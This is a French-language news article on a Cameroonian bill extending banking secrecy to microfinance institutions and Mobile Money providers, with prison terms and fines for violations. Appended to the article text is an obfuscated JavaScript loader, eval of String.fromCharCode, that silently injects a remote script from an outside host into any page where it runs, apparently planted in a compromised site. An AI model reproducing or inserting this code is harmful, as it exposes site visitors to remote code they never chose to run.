Secret bancaire au Cameroun : un élargissement aux acteurs du Mobile Money et microfinances avec jusqu'à 10 millions de FCFA d'amende

La session ordinaire de mars de ladite chambre met ainsi sur la table le projet qui entend élargir sur le territoire national le secret bancaire qui jusqu’ici était applicable aux banques uniquement, aux autres institutions financières que sont les prestataires de services de paiement et les microfinances. C onscient de l’importance de la préservation des données personnelles des clients d’institutions financières, le Cameroun s’était doté 18 années plus tôt de la loi N°2003/2004 du 21 avril 2003 régissant le secret bancaire au Cameroun . Cette loi s’avère désuète de nos jours considérant « les évolutions enregistrées dans le secteur financier et technologique ». Bien plus, le risque de développement des activités criminelles liées à ces évolutions notamment entre autres le blanchiment des capitaux, la cybercriminalité et le financement du terrorisme, conduit le législateur camerounais à vouloir prendre des mesures préventives contenues dans le projet de loi en discussion. Ledit projet de loi constitué de 04 titres et de trente articles présente des innovations au rang desquelles : La prise en compte des microfinances et des prestataires des services de paiement au nombre des établissements assujettis. Il s’agit notamment de plus de 420 EMF ainsi que les acteurs du Mobile Money opérants au Cameroun ; L’ élargissement des structures et administrations auxquelles le secret bancaire n’est pas opposable. Les autorités judiciaires ainsi que les institutions responsables de la supervision et du contrôle des finances publiques, l’administration fiscale, la douane, au trésor public, l’organe de supervision des marchés financiers, la prévoyance sociale, la lutte contre la corruption, le blanchiment des capitaux, le financement du terrorisme, le recouvrement des créances… L’ élargissement de la borne de la peine pécuniaire encourue par quiconque viole le secret bancaire. Les dispositions pénales prévoient une punition d’emprisonnement allant de trois (03) mois à trois (03) ans avec une amende allant d’un million (1 000 000) à cinq millions (5 000 000) de francs CFA ou l’une de ces deux peines quiconque enfreint cette loi. Si l’infraction est commise par le canal d’un média, la peine mentionnée plus haut sera doublée. var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

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